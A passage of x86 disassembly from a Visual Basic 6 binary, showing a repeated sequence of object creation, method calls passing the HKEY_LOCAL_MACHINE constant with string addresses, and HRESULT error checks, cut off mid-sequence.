cmp dword [ebp - 0xbc], 0
jge 0x557c40
push 0x20
push 0x41bc18
mov ecx, dword [ebp - 0xb8]
push ecx
mov edx, dword [ebp - 0xbc]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x2b8], eax
jmp 0x557c4a
mov dword [ebp - 0x2b8], 0
mov dword [ebp - 4], 0x46
cmp dword [0x575db0], 0
jne 0x557c76
push 0x575db0
push 0x4063c8
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x2bc], 0x575db0
jmp 0x557c80
mov dword [ebp - 0x2bc], 0x575db0
mov eax, dword [ebp - 0x2bc]
mov ecx, dword [eax]
mov dword [ebp - 0xb8], ecx
push 0x41d424
push 0x80000002
mov edx, dword [ebp - 0xb8]
mov eax, dword [edx]
mov ecx, dword [ebp - 0xb8]
push ecx
call dword [eax + 0x20]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x557cde
push 0x20
push 0x41bc18
mov edx, dword [ebp - 0xb8]
push edx
mov eax, dword [ebp - 0xbc]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x2c0], eax
jmp 0x557ce8
mov dword [ebp - 0x2c0], 0
mov dword [ebp - 4], 0x47
cmp dword [0x575db0], 0
jne 0x557d14
push 0x575db0
push 0x4063c8
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x2c4], 0x575db0
jmp 0x557d1e
mov dword [ebp - 0x2c4], 0x575db0
mov ecx, dword [ebp - 0x2c4]
mov edx, dword [ecx]
mov dword [ebp - 0xb8], edx
push 0x41d4d4
push 0x80000002
mov eax, dword [ebp - 0xb8]
mov ecx, dword [eax]
mov edx, dword [ebp - 0xb8]
push edx
call dword [ecx + 0x20]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x557d7c
push 0x20
push 0x41bc18
mov eax, dword [ebp - 0xb8]
push eax
mov ecx, dword [ebp - 0xbc]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x2c8], eax
jmp 0x557d86
mov dword [ebp - 0x2c8], 0
mov dword [ebp - 4], 0x48
cmp dword [0x575db0], 0
jne 0x557db2
push 0x575db0
push 0x4063c8
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x2cc], 0x575db0
jmp 0x557dbc
mov dword [ebp - 0x2cc], 0x575db0
mov edx, dword [ebp - 0x2cc]
mov eax, dword [edx]
mov dword [ebp - 0xb8], eax
push 0x41d37c
push 0x80000002
mov ecx, dword [ebp - 0xb8]
mov edx, dword [ecx]
mov eax, dword [ebp - 0xb8]
push eax
call dword [edx + 0x20]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x557e1a
push 0x20
push 0x41bc18
mov ecx, dword [ebp - 0xb8]
push ecx
mov edx, dword [ebp - 0xbc]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x2d0], eax
jmp 0x557e24
mov dword [ebp - 0x2d0], 0
mov dword [ebp - 4], 0x49
cmp dword [0x575db0], 0
jne 0x557e50